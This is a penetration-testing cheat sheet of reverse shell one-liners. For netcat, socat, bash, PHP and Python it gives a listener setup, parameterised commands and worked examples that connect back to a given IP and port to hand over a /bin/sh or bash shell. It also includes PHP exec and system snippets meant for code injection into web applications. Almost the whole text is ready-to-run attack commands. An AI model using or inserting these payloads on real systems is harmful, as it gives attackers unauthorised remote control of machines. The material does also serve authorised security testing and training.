Reverse Shell – Cheat Sheet

Reverse Shells

Often during the course of an attack, you may gain RCE, and using it you may want to gain a shell. This is often achieved using a reverse shell

Netcat

Setting A Listener

nc -nvlp [Port]

Params

[Port]: The port to listen for a connection on

Examples

nc -nlvp 4444

With -e

Newer versions have a nice option -e which allows binding of a process to an nc connection

nc -e /bin/sh [IP] [Port]

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

nc -e /bin/sh 192.168.56.101 4444

Without -e

Older versions of nc don't have the nice -e option, so it has to be done slightly differently

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [Port] >/tmp/f

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4444 >/tmp/f

Socat

Setting A Listener

socat file:`tty`,raw,echo=0 tcp-listen:[Port]

Params

[Port]: The port to listen for a connection on

Examples

socat file:`tty`,raw,echo=0 tcp-listen:4444

Simple Full tty

socat tcp-connect:[IP]:[Port] exec:"bash -li",pty,stderr,setsid,sigint,sane

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

socat tcp-connect:192.168.54.65:6666 exec:"bash -li",pty,stderr,setsid,sigint,sane

Bash

Simple Bash Shell

bash -i >& /dev/tcp/[IP]/[Port] 0>&1

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

bash -i >& /dev/tcp/192.168.56.101/4444 0>&1

Alternative

echo 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1' | bash

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

echo 'bash -i >& /dev/tcp/192.168.212.5/1234 0>&1' | bash

PHP

Command Line Based

php -r '$sock=fsockopen("[IP]",[Port]);exec("/bin/sh -i <&3 >&3 2>&3");'

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

php -r '$sock=fsockopen("192.168.54.98",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

Code Injection Based

The principle here can be used with any of the command line based reverse shells, in this example netcat is used, the php function can also be changed

<?php exec("nc -e /bin/bash [IP] [PORT]"); ?>

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

<?php exec("nc -e /bin/bash 192.168.56.101 4444"); ?>
<?php system("bash -i >& /dev/tcp/192.168.56.101/4444 0>&1"); ?>

Python

Standard Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Params

[IP]: The IP address to connect back to with a shell
[Port]: The port to connect to

Examples

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Note: Some shells here were sourced or modified from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

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